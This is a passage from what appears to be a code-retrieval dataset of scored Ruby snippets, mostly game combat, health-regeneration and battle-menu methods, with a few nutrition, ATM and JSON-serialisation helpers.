"text": "def combat_regen\r\n health_to_regen = 0\r\n mana_to_regen = 0\r\n movement_to_regen = 0\r\n\r\n # calculate regen values\r\n\r\n if @health < @max_health\r\n health_to_regen = [0.25, 0.0025 * @max_health].max\r\n healing_rate = [0.05, stat(:constitution) / 40.0 + @level / 80.0].max\r\n bonus_multiplier = room.hp_regen\r\n if responds_to_event(:calculate_bonus_health_regen)\r\n data = {bonus: bonus_multiplier}\r\n Game.instance.fire_event(self, :calculate_bonus_health_regen, data)\r\n bonus_multiplier = data[:bonus]\r\n end\r\n health_to_regen += (healing_rate * bonus_multiplier)\r\n health_to_regen *= @position.regen_multiplier\r\n elsif @health > @max_health\r\n @health = [@max_health, @health - 1.0].max\r\n end\r\n\r\n if @mana < @max_mana\r\n mana_to_regen = [0.50, 0.0025 * @max_mana].max\r\n healing_rate = [0.10, stat(:intelligence) / 40.0 + stat(:wisdom) / 40.0 + @level / 200.0].max\r\n bonus_multiplier = room.mana_regen\r\n if responds_to_event(:calculate_bonus_mana_regen)\r\n data = {bonus: bonus_multiplier}\r\n Game.instance.fire_event(self, :calculate_bonus_mana_regen, data)\r\n bonus_multiplier = data[:bonus]\r\n end\r\n mana_to_regen += (healing_rate * bonus_multiplier)\r\n mana_to_regen *= @position.regen_multiplier\r\n elsif @mana > @max_mana\r\n @mana = [@max_mana, @mana - 1.0].max\r\n end\r\n\r\n if @movement < @max_movement\r\n movement_to_regen = [1, 0.004 * @max_movement].max\r\n healing_rate = [0.25, stat(:strength) / 40.0 + @level / 60.0].max\r\n bonus_multiplier = room.hp_regen\r\n if responds_to_event(:calculate_bonus_movement_regen)\r\n data = {bonus: bonus_multiplier}\r\n Game.instance.fire_event(self, :calculate_bonus_movement_regen, data)\r\n bonus_multiplier = data[:bonus]\r\n end\r\n movement_to_regen += (healing_rate * bonus_multiplier)\r\n movement_to_regen *= @position.regen_multiplier\r\n elsif @movement > @max_movement\r\n @movement = [@max_movement, @movement - 1.0].max\r\n end\r\n\r\n # actual regen call\r\n regen(health_to_regen, mana_to_regen, movement_to_regen)\r\n return\r\n end",
"title": ""
},
{
"docid": "a7b6ffd0c63bd9af305c8a646e4d613a",
"score": "0.5787929",
"text": "def end_screen(player)\n puts \" ----------------------- \"\n puts \"\"\n puts \" -- La partie est finie -- \"\n puts \"\"\n puts \" ----------------------- \"\n puts \"\"\n if player.life_points > 0\n puts \"Félicitations, Vous remportez la partie !\"\n puts \"\"\n puts \" ----------------------- \"\n else\n puts \"Dommage, Vous avez perdu la partie !\"\n puts \"\"\n puts \" ----------------------- \"\n end\n end",
"title": ""
},
{
"docid": "bab31f1384f0e38cefd87c401b7448cd",
"score": "0.57867223",
"text": "def heal()\r\n @warrior.rest!\r\n end",
"title": ""
},
{
"docid": "e1374112013e0dd35a3906e0f19beb59",
"score": "0.57827705",
"text": "def battle_entrance(neutral = false)\n @damage = nil\n @damage_pop = false\n adjust_special_states\n @step_anime = GTBS::STOPPED_ANIM\n current_action.clear\n @perf_action = false\n @moved = false\n end",
"title": ""
},
{
"docid": "0437d2e17643f8513e59d775470bc23a",
"score": "0.57770705",
"text": "def combat(char)\n\n mon = Monster.new(char)\n #char_health = character.stats[:health] -= rand(mon.mon_stats[:mon_attack])\n\n puts\n puts \"A Wild #{mon.mon_stats[:name]} appears!\"\n puts\n puts \"Monster Level: #{mon.mon_level}\"\n puts\n puts \"Your health: #{char.stats[:health]}\"\n puts\n puts \"Monster health: #{mon.mon_stats[:health]}\"\n puts\n print \"Will you (a)ttack or (f)lee?: \"\n resp_1 = gets.chomp.downcase\n puts\n puts\n #Combat Loop\n case resp_1\n when \"a\"\n attack_again = \"y\"\n when \"f\"\n puts\n puts \"Later loser!\"\n puts\n exit!\n end\n puts\n puts \")(<{}>)(------------------------------------------)(<{}>)(\"\n puts\n # Begin Combat Loop\n while attack_again == \"y\"\n char.attack #resets random char attack\n mon.attack #and mon attack\n if char.hit_check > mon.mon_stats[:armor]\n puts\n puts \"You hit the #{mon.mon_stats[:name]} for: #{char.my_attack} dmg\"\n mon.mon_stats[:health] -= char.my_attack\n puts\n puts \"Monster Health: #{mon.mon_stats[:health]}\"\n puts\n ###\n case mon.mon_stats[:health]\n when -20..0\n #\n puts\n puts \")(<{}>)(------------------------------------------)(<{}>)(\"\n puts\n puts \"You have slain the monster!\"\n puts\n puts \"You receive #{mon.mon_exp} experience points!!\"\n puts\n char.level_up(mon.mon_exp)\n puts\n puts \")(<{}>)(------------------------------------------)(<{}>)(\"\n puts\n print \"You receive: \"\n puts \"#{mon.loot_list.to_s}\"\n char.inventory.push(mon.loot_list.item)\n puts\n print \"Your Inventory: \"\n char.inventory.each {|item| print \"#{item.item_name} - \"}\n puts\n puts\n break\n end\n else\n puts\n puts \"You Miss!\"\n puts\n end\n if mon.hit_check > char.stats[:armor]\n puts\n puts \"The monster hits!\"\n puts\n puts \"The #{mon.mon_stats[:name]} hits you for: #{mon.my_attack} dmg!!\"\n char.stats[:health] -= mon.my_attack\n puts\n puts \"Your health is: #{char.stats[:health]}\"\n puts\n case char.stats[:health]\n when -20..0\n #\n end\n else\n puts\n puts \"The #{mon.mon_stats[:name]} misses!\"\n puts\n end\n print \"Will you attack again? (a)ttack or (f)lee?: \"\n player_response_2 = gets.chomp.downcase\n puts\n puts\n puts \")(<{}>)(------------------------------------------)(<{}>)(\"\n puts\n case player_response_2\n when \"a\"\n attack_again = \"y\"\n when \"f\"\n attack_again = \"f\"\n puts\n puts \"Later Loser!\"\n puts\n end\n end\nend",
"title": ""
},
{
"docid": "3af6fce693247a3f341b7f6c6cb4adec",
"score": "0.5771289",
"text": "def do_battle\n health_points = @health_points - 1\n if health_points < 1\n @lives = @lives - 1\n @lives\n @health_points += 10\n end \n end",
"title": ""
},
{
"docid": "a577621b73f8e5b4cd2272644b55ee8c",
"score": "0.57668257",
"text": "def boss_fight(current_city,boss_name)\n\tclear()\n\tputs \"Entering #{current_city} dungeon...\"\n\tputs \"#{boss_name} is ready to beat you!\"\n\t#create status\n\t\n\tlife = 10\n\tatk = 1\n\tboss_life = boss_life(boss_name)\n\tboss_atk = boss_atk(boss_name)\n\tshield = rand(5)\n\t\n\twhile true\n\t\tputs \"1) Attack\"\n\t\tputs \"2) Guard\"\n\t\tputs \"3) Flee\"\n\t\tprompt; next_move = gets.chomp\n\n\t\tif next_move.to_i() == 1\n\t\t\t#player attack\n\t\t\tputs \"You attempt to attack #{boss_name}\"\t\t\t\t\n\t\t\tboss_life = pAtk(boss_life,atk)\n\n\t\t\tif !stillAlive(boss_life)\n\t\t\t\tclear()\n\t\t\t\tputs \"You are the true hero of #{current_city} city! Hurrah!\"\n\t\t\t\t$secretKey = !$secretKey\n\t\t\t\tsecret_stage(current_city)\n\t\t\tend\n\n\t\t\t#boss attack\n\t\t\tputs \"#{boss_name} attacks you!\"\n\t\t\tlife = bAtk(life,boss_atk,boss_name)\n\t\t\tclear()\n\n\t\t\t#checks that both are alive\n\t\t\tif !stillAlive(life)\n\t\t\t\tclear() \n\t\t\t\tputs \"You are not ready for this boss.\"\n\t\t\t\tputs \"Train more and try it again later\"\n\t\t\t\tdead()\n\t\t\tend\n\n\t\t\t#print lifebars\n\t\t\tstatusBar(life,boss_life,boss_name,shield)\n\t\t\tputs \"\"\n\n\t\telsif next_move.to_i() == 2 \n\t\t\tif shield <= 0\n\t\t\t\tputs \"watchout! your shield is broken!\"\n\t\t\t\tputs \"#{boss_name} attacks you!\"\n\t\t\t\tbAtk(life,boss_atk,boss_name)\n\t\t\t\tclear()\n\n\t\t\t\tif !stillAlive(life)\n\t\t\t\t\tclear() \n\t\t\t\t\tputs \"You are not ready for this boss.\"\n\t\t\t\t\tputs \"Train more and try it again later\"\n\t\t\t\t\tdead()\n\t\t\t\tend\n\n\t\t\t\t#print lifebars\n\t\t\t\tstatusBar(life,boss_life,boss_name,shield)\n\t\t\t\tputs \"\"\n\t\t\telsif shield >= 1\n\t\t\t\tshield = shield - 1\n\t\t\t\tputs \"Your shield protects your from the attack\"\n\t\t\t\tputs \"Shield: #{shield}\"\n\t\t\t\tputs \"You attempt to attack #{boss_name}\"\t\t\t\t\n\t\t\t\tboss_life = pAtk(boss_life,atk)\n\t\t\t\t\n\t\t\t\tif !stillAlive(boss_life)\n\t\t\t\t\tclear()\n\t\t\t\t\tputs \"You are the true hero of #{current_city} city! Hurrah!\"\n\t\t\t\t\t$secretKey = !$secretKey\n\t\t\t\t\tsecret_stage(current_city)\n\t\t\t\tend\n\n\t\t\t\t#print lifebars\n\t\t\t\tstatusBar(life,boss_life,boss_name,shield)\n\t\t\t\tputs \"\"\n\n\t\t\t\tclear()\n\t\t\tend\n\t\telsif next_move.to_i() == 3 \n\t\t\tclear()\n\t\t\tputs \"Shame on you...\"\n\t\t\tputs \"You ran out of the dungeon... like a chicken\"\n\t\t\tcity(current_city,getCurrentCityMessage(current_city))\n\t\telse\n\t\t\tputs \"That's not an option\"\n\t\t\tputs \"Pay attention!...dead\"\n\t\t\tdead()\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "8ae32e5ade4c4e30ad6ebd2502a0366c",
"score": "0.5766689",
"text": "def ronda\n\n\t\t\twhile @turno < 8 && @barcos != @golpeado\t\n\t\t\t\t@turno+=1\n\n\t\t\t\tputs \"Ronda #{@turno} disparos restantes #{8 - @turno}\"\n\t\t\t\t\n\t\t\t\tposicionDisparo\n\t\t\t\tnoSeanIguales\t\n\t\t\t\tverificarDisparo\n\n\t\t\t\t@disparosRealizados.push(@disparo)\n\t\t\t\ttableroJuego\n\n\t\t\tend\n\t\t\tif @barcos == @golpeado\n\t\t\t\tputs \"*******************\\nGanaste con #{@turno} disparos\"\n\t\t\t\t@@mejoresDisparos.push(\"Disparos: #{@turno}\")\n\t\t\t\tputs \"*******************\\nMejores puntuaciones\\n*******************\"\n\t\t\t\tputs @@mejoresDisparos.sort\n\t\t\t\tputs \"*******************\"\n\t\t\telse\n\t\t\t\tputs \"*******************\\nPerdiste\"\n\t\t\t\tputs \"*******************\\nMejores puntuaciones\\n*******************\"\n\t\t\t\tputs @@mejoresDisparos\n\t\t\t\tputs \"*******************\"\n\t\t\tend\n\t\t\t\t\n\t\tend",
"title": ""
},
{
"docid": "5e78783d6a73ecd21511155b27d7f48b",
"score": "0.5754862",
"text": "def procesar\n\t\tif @ciclo_actual == 0\n\t\t\t# Si esta aqui, almacen = 0\n\t\t\t@almacen = @insumo_uno\n\t\t\tunless @nombre_insumo_dos.nil?\n\t\t\t\t@almacen += @insumo_dos\n\t\t\tend\n\t\t\t# Le restamos el descho\n\t\t\t@almacen = @almacen * (1 - @desecho)\n\t\t\t@almacen *= 4\n\t\t\tputs \"Cervezas salientes: \" + @almacen.to_s\n\t\t\t@insumo_uno = 0\n\t\t\t@insumo_dos = 0\n\t\t\t@estado = 0\n\t\telse\n\t\t\t@ciclo_actual = @ciclo_actual - 1\n\t\tend\n\tend",
"title": ""
},
{
"docid": "867dc7a09aa21acfccb09ba9156542f9",
"score": "0.57511157",
"text": "def imp\n puts 'letras entre || representan el final de una palabra'\n profundidad = 0\n if @hoja\n puts profundidad.to_s + \"\\t\" + '-' * profundidad + '|' + '|'\n end\n imp_aux(profundidad)\n end",
"title": ""
},
{
"docid": "867dc7a09aa21acfccb09ba9156542f9",
"score": "0.57511157",
"text": "def imp\n puts 'letras entre || representan el final de una palabra'\n profundidad = 0\n if @hoja\n puts profundidad.to_s + \"\\t\" + '-' * profundidad + '|' + '|'\n end\n imp_aux(profundidad)\n end",
"title": ""
},
{
"docid": "360d82442d38936703897c07a5799e10",
"score": "0.5746227",
"text": "def exit_combat(actor)\n debug(\"#{entity_short(actor)} exit combat\")\n remove_component(actor, :combat)\n update_char_regen(actor)\n end",
"title": ""
},
{
"docid": "f30b600d8ab919421f1fa848567276a3",
"score": "0.5741629",
"text": "def die_horribly\n \t @attck_time = 0\n \t @searcher = false\n \t\t@health -= 9999\n \t\tif @health==-9999\n \t\t\t@score = (@score/1000).to_i*250 #LOSE a quarter of your nearest thousands of points\n \t\t\t(@score = 0 ; @game_over = true) if @score <= 0 #GAME OVER when score is less than 0\n \t\t\t@character = @animation_dieX[0]\n \t\tend\n \tend",
"title": ""
},
{
"docid": "02d501149b9a84ed48de0b1d63c62b5b",
"score": "0.57387304",
"text": "def enBancarrota\n @saldo<0\n end",
"title": ""
},
{
"docid": "5b6dc3bd82e106b93c108869629f1a1f",
"score": "0.57383484",
"text": "def end_reached\n print\n puts \"You have escaped the Labyrinth!\\n You are free, Minotaur!\"\n end",
"title": ""
},
{
"docid": "d4dee614762f6a698342851ed4b38add",
"score": "0.57338506",
"text": "def battle_end_me\r\n @battle_end_me || $data_system.battle_end_me\r\n end",
"title": ""
},
{
"docid": "b428e603ccd5ff0bde1537d71229d94f",
"score": "0.57168615",
"text": "def abbracadabra\n magical_power = Random.new.rand(0...50) \n if @inventory['amulet'] > 0\n @strenght += @inventory['amulet'] * magical_power\n @inventory['amulet'] -= 1\n puts \"YOU HAVE USED THE MAGIC OF HARRY HOUDINI, YOUR STRENGHT IS #{@strenght}\"\n else\n puts \"YOU DON'T HAVE AN AMULET\"\n end\n end",
"title": ""
},
{
"docid": "fb73ecd4b469c0fcc39542efa36fdc1e",
"score": "0.5699923",
"text": "def fight(user, enemies, player1, player2)\n while user.life_points >0 && (player1.life_points > 0 || player2.life_points >0)\n user.show_state\n puts \"\n Quelle action veux-tu effectuer ?\n\n a - chercher une meilleure arme\n s - chercher à se soigner \n \n attaquer un joueur en vue :\n 0 - Azetlor le Destructeur a #{player1.life_points} points de vie\n 1 - Bouffe-tout a #{player2.life_points} points de vie\"\n\n print \">\"\n choice = gets.chomp\n\n if choice == \"a\" \n user.search_weapon\n elsif choice == \"s\"\n user.search_health_pack\n elsif choice == \"0\"\n user.attacks(player1)\n elsif choice == \"1\"\n user.attacks(player2)\n end\n \n puts \"Les autres joueurs t'attaquent !\"\n puts \"\"\n enemies.each do |x|\n break if x.life_points <= 0\n x.attacks(user)\n end\n end\n\n if user.life_points > 0\n puts \"BRAVO ! TU AS GAGNE !\"\n else \n puts \"Loser ! Tu as perdu !\"\n end\nend",
"title": ""
},
{
"docid": "545b082397bf6e1630dab4894a2a6f80",
"score": "0.56973004",
"text": "def gastoEnergeticoBasal ()\n \tif (self.sexo == 0)\n \t\t(10 * self.peso) + (6.25 * self.talla * 100) - (5 * self.edad) - 161\n \telsif (self..sexo == 1)\n \t\t(10 * self.peso) + (6.25 * self.talla * 100) - (5 * self.edad) + 5\n \tend\n \tend",
"title": ""
},
{
"docid": "b4ec9fd7586ffea233455097e6129b03",
"score": "0.56971055",
"text": "def quitter()\n @fenetre.finAventure()\n end",
"title": ""
},
{
"docid": "3273cfb2727d3711680fd18726b9896d",
"score": "0.56955916",
"text": "def isBankrupt\n @money < 1\n end",
"title": ""
},
{
"docid": "97ecc9a0d815d803b81169f03ec3d51d",
"score": "0.5694643",
"text": "def gastoEnergeticoBasal ()\n if (self.datosAntropometricos.sexo == 0)\n (10 * self.datosAntropometricos.peso) + (6.25 * self.datosAntropometricos.talla * 100) - (5 * self.datosAntropometricos.edad) - 161\n elsif (self.datosAntropometricos.sexo == 1)\n (10 * self.datosAntropometricos.peso) + (6.25 * self.datosAntropometricos.talla * 100) - (5 * self.datosAntropometricos.edad) + 5\n end\n end",
"title": ""
},
{
"docid": "157fe3f875a01e00a38ddec8ce445d35",
"score": "0.56880337",
"text": "def defend(attack_value, damage_value, type, status)\r\n\t\tif attack_value > @effective_defense\r\n\t\t\tdamage = damage_value\r\n\t\t\tif @resistances.include?(type)\r\n\t\t\t\tdamage = damage / 2\r\n\t\t\tend\r\n\t\t\tif @weaknesses.include?(type)\r\n\t\t\t\tdamage = damage * 2\r\n\t\t\tend\r\n\t\t\t@current_health = @current_health - damage\r\n\t\t\tif @current_health <= 0\r\n\t\t\t\t return self.defeat()\r\n\t\t\telsif nil != status\r\n\t\t\t\t@status.push(status)\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tdamage = @user_id.mention() + \" dodged the #{@current_enemy.name}'s blow!\"\r\n\t\tend\r\n\t\treturn damage\r\n\tend",
"title": ""
},
{
"docid": "a196e312d744948dd4ab322e438da9ef",
"score": "0.5687568",
"text": "def end_turn()\n \n if self.is_ready\n #trzeba zapisac kiedy player wykonal‚ ruch\n self.online_player.last_time_online = Time.now\n self.online_player.save\n self.player_units.each do |u|\n u.is_turn = false\n u.save!\n end \n end\n \n #zapisuje akcjΔ™ jakΔ… wykonaΕ‚\n a = Action.new\n a.action = \"end turn\"\n \n if self.is_turn\n a.result = \"my turn\"\n else\n a.result = \"opponent turn\"\n end\n \n self.actions << a\n a.save!\n self.save!\n \n end",
"title": ""
},
{
"docid": "11fa95cfd70c307385a32004ff0cc3f6",
"score": "0.5683591",
"text": "def out_of_combat!(actor, error = 'You cannot do that while in combat!')\n entity_in_combat?(actor) and command_error(error)\n end",
"title": ""
},
{
"docid": "ba379abdf0f6a5d7ff829869e3dd6ed5",
"score": "0.5683117",
"text": "def combat(monster)\n total_level = getCombatLevel\n monster_level = getOponentLevel monster\n # Ganamos\n if (total_level > monster_level)\n applyPrize(monster.getPrize)\n if (@level >= 10)\n result = WINANDWINGAME\n else\n result = WIN\n end\n else\n escape = Dice.instance.nextNumber\n # Perdemos y no escapamos\n if (escape < 5)\n bad = monster.getBadConsequence\n if (bad.kills)\n die\n result = LOSEANDDIE\n else\n applyBadConsequence(bad)\n if (shouldConvert)\n result = LOSEANDCONVERT\n else\n result = LOSE\n end\n end\n # Perdemos y escapamos\n else\n result = LOSEANDESCAPE\n end\n end\n\n discardNecklaceIfVisible\n result\n end",
"title": ""
},
{
"docid": "c189a90e050b70bb5ae00cb4af09d22f",
"score": "0.5673474",
"text": "def menu(human_player, player1, player2)\n while player1.life_points >= 0 || player2.life_points >= 0 && human_player.life_points >= 0\n puts \"Quelle action veux-tu effectuer ?\"\n puts \"a - chercher une meilleure arme\"\n puts \"s - chercher à se soigner\"\n puts \"\"\n\n puts \"attaquer player en vue :\"\n if player1.life_points > 0\n puts \"0 - #{player1.name} a #{player1.life_points} points de vie\"\n end\n\n if player2.life_points > 0\n puts \"1 - #{player2.name} a #{player2.life_points} points de vie\"\n end\n\n #Faire un choix parmi les options disponibles dans le menu\n gets.chomp.to_s = human_player_choice\n \n if human_player_choice == \"a\"\n return HumanPlayer.search_weapon\n elsif human_player_choice == \"s\"\n return HumanPlayer.search_health_pack \n elsif human_player_choice == \"0\"\n return human_player.attacks(player1)\n else human_player_choice == \"1\"\n return human_player.attacks(player2)\n end\n # The ennemies attack you\n ennemis.each do |ennemy|\n if ennemy.life_points >= 0\n puts \"Les autres joueurs t'attaquent !\"\n ennemy.attacks(human_player)\n end\n end\n end \nputs \"La partie est finie\"\n\nend",
"title": ""
},
{
"docid": "407f05c1cc90651cc93ca6777c1d83be",
"score": "0.5670861",
"text": "def atacar\n @espada.atacando = true\n if @podeSom\n @somEspada.play(0.5)\n @somVoz.play(0.5)\n @podeSom = false\n end\n\n if @QualLado\n @movAtaque = 100\n else\n @movAtaque = -100\n end\n end",
"title": ""
},
{
"docid": "e9d710b7fdb7cd3330a21d9906890dc8",
"score": "0.56687963",
"text": "def sin_evade_bonus; 0; end",
"title": ""
},
{
"docid": "ebf86dc6de15a1d776e3e7b662ce3107",
"score": "0.56649274",
"text": "def buen_impacto?\n\t\tresultado = false\n\t\tif(sexo==0 && @impacto_ambiental_kcal <= 3000 && @impacto_ambiental_proteina >= 54)\n\t\t\tresultado = true\n\t\telsif(sexo==1 && @impacto_ambiental_kcal <= 2300 && @impacto_ambiental_proteina >= 41)\n\t\t\tresultado = true\n\t\tend\n\t\t\n\t\tresultado\n\tend",
"title": ""
},
{
"docid": "a379138a4aab44196c9fdefa96ad505f",
"score": "0.565287",
"text": "def dispense(amount)\n if @current_balance > amount\n @current_balance = @current_balance - amount\n puts \"I gave you $#{amount}\"\n else\n puts \"fuck off\"\n end\n end",
"title": ""
},
{
"docid": "af58e740e193d36a0b71bc8a33b80639",
"score": "0.5646031",
"text": "def dispense(amount)\n if @current_balance > amount\n @current_balance = @current_balance - amount\n else\n puts \"Not enough money in Atm...\"\n end\n end",
"title": ""
},
{
"docid": "47a6d757d6b1c764fdd92f41b23d433f",
"score": "0.5643451",
"text": "def gets_damage (damage_points)\n @life_points -= damage_points\n if @life_points <= 0\n puts \"#{name} a été tué!\"\n end\n end",
"title": ""
},
{
"docid": "a5b8f395e900e6d0e6035f9641a395fb",
"score": "0.56351835",
"text": "def launch_game(player1,enemy_array)\n player1.show_state\n enemy_array.each do |enemy| enemy.show_state end\n \n puts \"\\n\"\n\n puts \"Que le combat commence!\"\n puts \"\\n\"\n puts player1.life_point\n \n while player1.life_point > 0 && (enemy_array[0].life_point>0 || enemy_array[1].life_point>0)\n\n puts \"Quelle action souhaites-tu effectuer : \"\n puts \"a - chercher une meilleure arme\"\n puts \"s - chercher à se soigner \"\n i=0\n puts \"Qui souhaites-tu attaquer?\"\n enemy_array.each do |enemy| \n puts \"#{i} - #{enemy_array[i].name} qui a #{enemy_array[i].life_point} points de vie\" \n i=i+1 \n end\n\n input_user=gets.chomp\n if input_user == \"a\"\n player1.search_weapon\n elsif input_user == \"s\"\n player1.search_health_pack\n else\n player1.attack(enemy_array[input_user.to_i])\n if enemy_array[input_user.to_i].life_point<=0\n enemy_array.delete(enemy_array[input_user.to_i])\n end\n end\n \n if enemy_array.size==0\n puts \"Vous avez gagné!\"\n break\n end\n \n puts \"Les autres joueurs t'attaquent !\"\n\n enemy_array.each do |enemy| if player1.life_point <=0 then puts \"Tu as perdu\" else enemy.attack(player1) end end\n player1.show_state\n \n\n if player1.life_point <=0\n puts \"Vous avez perdu!\"\n end\n \n end\nend",
"title": ""
},
{
"docid": "cc89b3158dcd8a36c098f14cb2fe3272",
"score": "0.5630676",
"text": "def printCombatResult(result)\n clearScreen\n puts \"Combate contra #{NP.getCurrentMonster.getName}:\"\n \n case result\n when Game::WIN\n puts \"Has derrotado al monstruo.\"\n when Game::WINANDWINGAME\n puts \"Has ganado el combate y el juego. ¡Enhorabuena!\"\n when Game::LOSEANDESCAPE\n puts \"Has logrado escapar del combate a salvo.\"\n when Game::LOSE\n puts \"Has sido derrotado. Ahora se te aplicará el mal rollo del monstruo.\"\n when Game::LOSEANDDIE\n puts \"Has sido derrotado y has muerto.\"\n when Game::LOSEANDCONVERT\n puts \"Has sido derrotado. ¡Ahora eres sectario!\"\n else\n puts \"Error en el combate.\"\n end\n end",
"title": ""
},
{
"docid": "e3e390e92ca5faa1a06a8fdd33d93b19",
"score": "0.56291705",
"text": "def enemy_turn\n damage = loop_through_attacks(@enemy, @ally, get_number_of_attacks(@enemy))\n @ally.hp -= damage\n \n if @ally.hp <= 0\n kill = true # may make it to where enemy can choose to spare you.\n if kill\n return \"dead\"\n end\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "3f83d8b22661e819e8313d5d194ce1ac",
"score": "0.5628752",
"text": "def end_of_balance(bank_accounts, credits_and_debits)\n if section.account == \"Purchasing Account\"#if the transaction came from the Purchasing Account\n# bank_accounts.balance = bank_accounts.balance - section.amount\n# else #if the transaction came from the Business Checking\n# bank_accounts.balance = bank_accounts.balance - section.amount\nend\nend",
"title": ""
},
{
"docid": "afcd5eea9055f06410f7198d4d5a876b",
"score": "0.5623037",
"text": "def degustar_uno()\n\t\tif @contador == 0\n\t\t\tif @annos > 35\n\t\t\t\treturn \"El cocinero se ha jubilado y no hay mas platos disponibles\"\n\t\t\telse\n\t\t\t\treturn \"No hay platos disponibles\"\n\t\t\tend\n\t\telse\n\t\t\t@contador -= 1\n\t\t\treturn \"Que delicioso está el plato\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8aa0c085fb5f31bcbdae256178954788",
"score": "0.5613622",
"text": "def update_combat(winner, loser)\n winner.combat += 10\n winner.combat = 100 if winner.combat > 100\n loser.combat -= 10\n loser.combat = 0 if loser.combat < 0\n puts \"#{winner.name}'s combat has increased by 10! It is now #{winner.combat}.\"\n puts \"#{loser.name}'s combat has decreased by 10! It is now #{loser.combat}.\\n\\n\"\n puts \"***************************\\n\"\n winner.save\n loser.save\n end",
"title": ""
},
{
"docid": "b1cc45db633d4a3ce64eb9be50619a24",
"score": "0.56088793",
"text": "def bajar(pasajeros_bajan)\n\n until @velocidad == 0\n puts \"No puedes bajar ningun pasajero con el bus en movimiento\"\n end\n\n @pasajeros -= pasajeros_bajan\n puts @asientos_disponibles\n @asientos_disponibles += pasajeros_bajan\n\n puts \"Se han bajado #{pasajeros_bajan} y ahora quedan #{@asientos_disponibles} puestos disponibles\"\n \n end",
"title": ""
},
{
"docid": "27daac7f6a63575df88e1321adff2285",
"score": "0.560805",
"text": "def after_duell\n @boxer.geld += rand(500)\n @boxer.boss.geld += rand(50)\n @boxer.kondition += (rand(10)/20.0)\n @boxer.kondition += @boxer.aufwaermen/10.0\n @boxer.kraft += (rand(10)/10.0)\n @boxer.kraft += @boxer.aufwaermen/10.0\n @boxer.staerke += (rand(10)/10.0)\n @boxer.staerke += @boxer.aufwaermen/10.0\n @boxer.gewicht -= (rand(400)/1000.0)\n @boxer.aufwaermen += rand(40)/20.0\n @boxer.hunger += rand(10)\n @boxer.muedigkeit -= rand(10)\n @boxer.freude -= (rand(70)/10.0)\n @boxer.dehnbarkeit += rand(10)/10.0\n end",
"title": ""
},
{
"docid": "08f377f2bc772d2d44fa4e84ac62f0fa",
"score": "0.56049186",
"text": "def inscrite?\n self.paiementsTotal == 0 and !self.enRegle?\n end",
"title": ""
},
{
"docid": "83aacd86588dc29f2fe733132abf6c34",
"score": "0.56043947",
"text": "def phase_one\n notify_phase \"One\"\n eliminated = 0\n #Immunity game\n 8.times do |x| \n eliminated += 1\n winner = @borneo.immunity_challenge\n #Tribe council for loser\n @borneo.tribes.select {|tribe| tribe != winner}.each do |losing|\n losing.tribal_council\n end\n end\n return eliminated\nend",
"title": ""
},
{
"docid": "37c9da268715a92a1dcd635a0066eba4",
"score": "0.5603073",
"text": "def gasto_energetico_basal\n \n if @datos.sexo == 0\n\n (10 * @datos.peso) + (6.25 * @datos.talla) - (5 * @datos.edad) - 161\n \n elsif @datos.sexo == 1\n \n (10 * @datos.peso) + (6.25 * @datos.talla) - (5 * @datos.edad) + 5\n \n end\n \n end",
"title": ""
}
] |
4f73fef59d85b3b53d1e5a44439f54d5 | the json hash for this CisSubscriptionProfileResult | [
{
"docid": "81893de6d96bcd3f5c0f809eb4f40177",
"score": "0.59536535",
"text": "def to_jaxb_json_hash\n _h = super\n _h['profileId'] = profileId.to_jaxb_json_hash unless profileId.nil?\n _h['validationResult'] = validationResult.to_jaxb_json_hash unless validationResult.nil?\n _h['currency'] = currency.to_jaxb_json_hash unless currency.nil?\n if !paymentMethods.nil?\n _ha = Array.new\n paymentMethods.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['paymentMethods'] = _ha\n end\n _h['customerAddress'] = customerAddress.to_jaxb_json_hash unless customerAddress.nil?\n _h['comments'] = comments.to_jaxb_json_hash unless comments.nil?\n if !subscriptions.nil?\n _ha = Array.new\n subscriptions.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['subscriptions'] = _ha\n end\n return _h\n end",
"title": ""
}
] | [
{
"docid": "2ce4c3b671f7681af0e6b1bddcf0d2ae",
"score": "0.6537743",
"text": "def to_json\r\n @profile.to_json\r\n end",
"title": ""
},
{
"docid": "d318d1a57737544fd9e57741c0b54f46",
"score": "0.6042072",
"text": "def to_json\n obj = {}\n obj[:events] = Array(self.events) unless self.events.nil?\n obj[:callbackData] = self.callback_data unless self.callback_data.nil?\n obj[:expiresIn] = self.expires_in.to_i unless self.expires_in.nil?\n obj[:subscriptionId] = self.subscription_id unless self.subscription_id.nil?\n { :subscription => obj }.to_json\n end",
"title": ""
},
{
"docid": "aa26e2cdc58f23ec0e1a792bc328c08f",
"score": "0.6025827",
"text": "def in_json\n {\n bio: {\n emailAddressText: @email_address,\n emailId: @id,\n originatingSourceSystem: SOURCE_SYSTEM,\n sourceSystemUser: @source_system_user,\n sourceDate: @source_date,\n vet360Id: @vet360_id,\n effectiveStartDate: @effective_start_date,\n effectiveEndDate: @effective_end_date\n }\n }.to_json\n end",
"title": ""
},
{
"docid": "f0e3808b7ba72585908f513cb6c799a0",
"score": "0.5941267",
"text": "def to_hash\n {\n :bancBoxId => @banc_box_id,\n :subscriberReferenceId => @reference_id\n }\n end",
"title": ""
},
{
"docid": "cb1055981aa3e38e39853c9bcf98ebf5",
"score": "0.5923445",
"text": "def as_json(options={})\n u = {\n :id => self.id, \n :email => self.email,\n :displayName => self.displayName,\n :fullName => self.fullName,\n :birthday => self.birthday,\n :profilePhoto => self.profile_photo } \n end",
"title": ""
},
{
"docid": "5c6eb5d3087995e27462a5c0303badfc",
"score": "0.59111184",
"text": "def json_\n hash = {\n \"Id\" => id,\n \"AccountId\" => account_id,\n \"SubscriptionId\" => subscription_id,\n \"Name\" => name,\n \"CampaignTypeId\" => campaign_type_id,\n \"ContentId\" => content_id,\n \"Session\" => session,\n \"SessionLength\" => session_length,\n \"UserData\" => user_data,\n \"SingleUse\" => single_use,\n \"SingleUseContentId\" => single_use_content_id\n }\n\n hash.to_json\n end",
"title": ""
},
{
"docid": "1884c7bd9a73fefd2b05ca4eca73d9ae",
"score": "0.5857819",
"text": "def hash\n [id, name, description, start, _end, state, parent_id, aggregate_all_subscriptions_on_account, failed_payment_behaviour].hash\n end",
"title": ""
},
{
"docid": "2ff116449f6127c048bf540d8ca5ce55",
"score": "0.58421594",
